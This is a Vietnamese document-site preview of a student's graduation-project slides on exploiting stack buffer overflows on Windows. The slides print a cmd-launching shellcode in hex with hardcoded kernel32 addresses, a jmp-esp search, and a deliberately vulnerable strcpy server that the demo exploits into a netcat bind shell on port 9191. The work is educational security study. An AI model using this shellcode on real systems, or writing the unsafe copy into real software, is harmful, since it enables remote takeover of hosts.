1. Trang chủ
  2. » Luận Văn - Báo Cáo

Tìm hiểu kỹ thuật tấn công thông qua lỗi Tràn bộ đệm trên Window

17 631 3

Đang tải... (xem toàn văn)

Tài liệu hạn chế xem trước, để xem đầy đủ mời bạn chọn Tải xuống

THÔNG TIN TÀI LIỆU

Thông tin cơ bản

Định dạng
Số trang 17
Dung lượng 197 KB
File đính kèm Chương trình thử nghiệm.rar (571 KB)

Các công cụ chuyển đổi và chỉnh sửa cho tài liệu này

Nội dung

1.1.Tổ chức bộ nhớ cho các tiến trình Bộ nhớ được phân chia thành 2: + user mode + kernel mode Mặc định, 2GB của không gian nhớ ảo được cung cấp cho user mode, vùng địa chỉ 0x00000000 0x7fffffff, và phần còn lại, 0x80000000 0xBfffffff được dành cho kernel mode.

Trang 1

Trường Đại Học Dân Lập Hải Phòng

Khoa Công Nghệ Thông Tin

BÁO CÁO ĐỒ ÁN TỐT NGHIỆP

lỗi Tràn bộ đệm trên Window

Sinh viên: Nguyễn Đình Hồng

Trang 2

Nội dung trình bày

1 Tổng quan về lỗi Tràn bộ đệm

2 Kỹ thuật tấn công lỗi Tràn bộ đệm trên window

3 Chương trình Demo

4 Kết luận

Trang 3

1.1.Tổ chức bộ nhớ cho các tiến trình

- Bộ nhớ được phân chia

thành 2:

+ user mode + kernel mode

Mặc định, 2GB của không gian nhớ ảo được cung cấp cho user mode, vùng địa chỉ 0x00000000 - 0x7fffffff, và phần còn lại, 0x80000000 - 0xBfffffff được dành cho kernel mode

Tổng quan về lỗi tràn bộ đệm

Trang 4

1.2.Tổ chức bộ nhớ của một tiến trình

- Không gian nhớ gồm

3 vùng:

+ vùng ngăn xếp

+ vùng dữ liệu

+ vùng mã lệnh

Bộ nhớ của ngăn xếp sẽ lớn dần về phía cuối vùng nhớ khi có nhiều dữ liệu được đẩy vào

Tổng quan về lỗi tràn bộ đệm

%ESP

%EBP

Trang 5

1.3.Lỗi tràn bộ đệm

Xét ví dụ:

void fun(char *str){

buffer[126] ; //Cấp phát bộ nhớ cục bộ 126 bytes trên stack strcpy(buffer,str) ; //Sao chép đối số vào bộ đệm stack

}

Nếu ta gọi hàm:

char *str="AAAAAA AAAAAAAA" ; //127 chữ A

Một lỗi tràn bộ đệm sẽ xảy ra

Tổng quan về lỗi tràn bộ đệm

Trang 6

2.1 Khai thác lỗi tràn bộ đệm

Kỹ thuật tấn công lỗi Tràn bộ đệm trên window

Trang 7

2.2 Cách xây dựng hàm chức năng khi tấn công

(shellcode)

- Bước 1: Chúng ta sẽ viết một chương trình, ví dụ viết chương trình để chạy CMD-Shell bằng Visual C:

#include <windows.h>

main() {char buf[4];

buf[0]='c';

buf[1]='m';

buf[2]='d';

buf[3]='\0';

WinExec(buf,SW_SHOW);

exit(1);}

Kỹ thuật tấn công lỗi Tràn bộ đệm trên window

Trang 8

- Bước 2: dịch sang assembly (chạy debug -> disassembly)

push ebp mov ebp,esp

push ebx

push esi

push edi

mov byte ptr [ebp-4],63h

mov byte ptr [ebp-3],6Dh mov byte ptr [ebp-2],64h

mov byte ptr [ebp-1],0 push 5

lea eax,[ebp-4]

push eax

call dword ptr [ imp WinExec@8 (0042413c)] push 1

call exit (004010c0)

Kỹ thuật tấn công lỗi Tràn bộ đệm trên window

Trang 9

- Bước 3: Xác định địa chỉ của các hàm cần dùng trong dll

của windows

Trong ví dụ: Chúng ta cần xác định 2 địa chỉ của hàm WinExec

và ExitProcess

Địa chỉ của WinExec là địa chỉ của KERNEL + địa chỉ

con trỏ của WinExec

WinExec = 0x7c800000 + 0x6114d = 0x7c86114d

Địa chỉ của WinExec là địa chỉ của KERNEL + địa chỉ

con trỏ của ExitProcess

ExitProcess = 0x7c800000 + 0x1caa2 = 0x7c81caa2

Lưu ý: Mỗi phiên bản Windows có 1 địa chỉ cho các dll cơ sở khác nhau

Kỹ thuật tấn công lỗi Tràn bộ đệm trên window

Trang 10

- Bước 4: Dịch sang mã máy

Ta được shellcode như sau:

"\x55\x89\xE5\x53\xC6\x45\xFC\x63\xC6\x45\xFD\x6D

\xC6\x45\xFE\x64\xC6\x45\xFF\x00\x68\x05\x00\x00\x00

\x8D\x45\xFC\x50\xB8\x4D\x11\x86\x7C\xFF\xD0\x68\x01

\x00\x00\x00\xB8\xA2\xCA\x81\x7C\xFF\xD0";

Ta có thể dùng debug trong visual C hoặc dùng hex edit

để đọc mã tác vụ

Kỹ thuật tấn công lỗi Tràn bộ đệm trên window

Trang 11

- Bước 5: Xử lý byte NULL

Do các hàm xử lý chuỗi sẽ hoàn tất ngay khi gặp một ký

tự null (\0), vì vậy shellcode phải không được chứa bất kỳ giá trị null nào Ta sẽ sử dụng thủ thuật sau:

Sửa đoạn mã assembly bằng cách đặt con trỏ ngăn xếp ESP trỏ đến vị trí của EBP Sau đó, thực hiện XOR ESI

(thực hiện XOR zero vào ESI)

Ví dụ: push $0x00

Sẽ được thay thế tương đương bằng:

xor eax, eax

push eax

Kỹ thuật tấn công lỗi Tràn bộ đệm trên window

Trang 12

- Bước 6: Tìm bước nhảy

Chúng ta dùng công cụ findjmp để tìm bước nhảy đến con trỏ ESP

cú pháp:

findjmp kernel32.dll esp

Kỹ thuật tấn công lỗi Tràn bộ đệm trên window

Trang 13

- Bước 7: Gửi shellcode tới server thử nghiệm

Kỹ thuật tấn công lỗi Tràn bộ đệm trên window

Begin

Khởi tạo buffer chứa shellcode

Kết nối tới server ?

Send buffer

Khởi tạo socket để kết nối tới server

End ok Not ok

Trang 14

Chúng ta sẽ viết một ứng dụng client/server không an toàn

và sẽ thực hiện khai thác.

3.1 Chương trình server

Trong ứng dụng server có 2 mảng ký tự được khai báo: “buf” và

“Message” Buf được cấp phát 2000 byte, trong khi Message được cấp phát 5000 byte

Khi nhận Message nó copy vào buf thông qua hàm pr (gây ra lỗi)

void pr( char *str)

{

char buf[2000]="";

strcpy(buf,str);

}

Chương trình Demo

Trang 15

3.1 Chương trình server

- Lắng nghe trên cổng do ta tự thiết lập

3.2 Chương trình client

- Gửi một thông điệp tới server thông qua cổng

3.3 Chương trình tấn công

- Gửi một shellcode tới server thực hiện mở cổng 9191

- Dùng netcat (nc) để kết nối tới server qua cổng 9191 và thực thi shellcode chạy CMD

Chương trình Demo

Trang 16

Kết Luận

- Qua đề tài này, tìm hiểu được những lỗi tràn bộ

đệm, cách khai thác lỗi tràn bộ đệm stack để tấn công một host từ xa Từ đó rút ra được các kiến thức bao gồm các yêu cầu về bảo mật tối thiểu khi xây dựng một ứng dụng trên mạng Biết các dò tìm những lỗi tràn bộ đệm stack trong các ứng dụng mạng và phương pháp tấn

công vào các lỗi đó

- Hướng phát triển của đề tài: Xây dựng những

chương trình dò lỗ hổng tràn bộ đệm của các ứng dụng trên mạng Tìm những phương pháp để vá các lỗ hổng

đó khi nó xuất hiện

Trang 17

Em xin Chân thành cảm ơn

Ngày đăng: 10/10/2015, 10:59

TỪ KHÓA LIÊN QUAN

TÀI LIỆU CÙNG NGƯỜI DÙNG

TÀI LIỆU LIÊN QUAN

🧩 Sản phẩm bạn có thể quan tâm

w